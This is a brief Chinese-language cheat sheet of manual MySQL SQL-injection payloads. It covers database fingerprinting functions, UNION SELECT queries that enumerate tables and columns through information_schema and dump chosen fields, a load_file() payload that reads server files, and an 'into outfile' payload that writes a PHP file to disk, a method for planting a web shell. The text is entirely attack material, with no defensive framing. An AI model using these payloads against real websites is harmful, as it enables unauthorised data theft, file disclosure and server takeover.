mysql手工注入
version()获取数据库版本
database()获取数据库名
user()获取当前用户
@@version_compile_os 获取操作系统
group_concat(欲查询的参数)
获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
获取表段和字段:
注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)
获取指定表下的指定字段信息
注入点 UNION SELECT 1,字段名 from 表名
【拓展】
查看所有表或字段函数 group_concat()
读取:
id=4 union select 1,load_file('路径,或者hex编码不要单引号'),3
导出:
id=4 union select 1,0x45656656,3 into outfile 'F:/1.php'
查指定用户 limit 0,1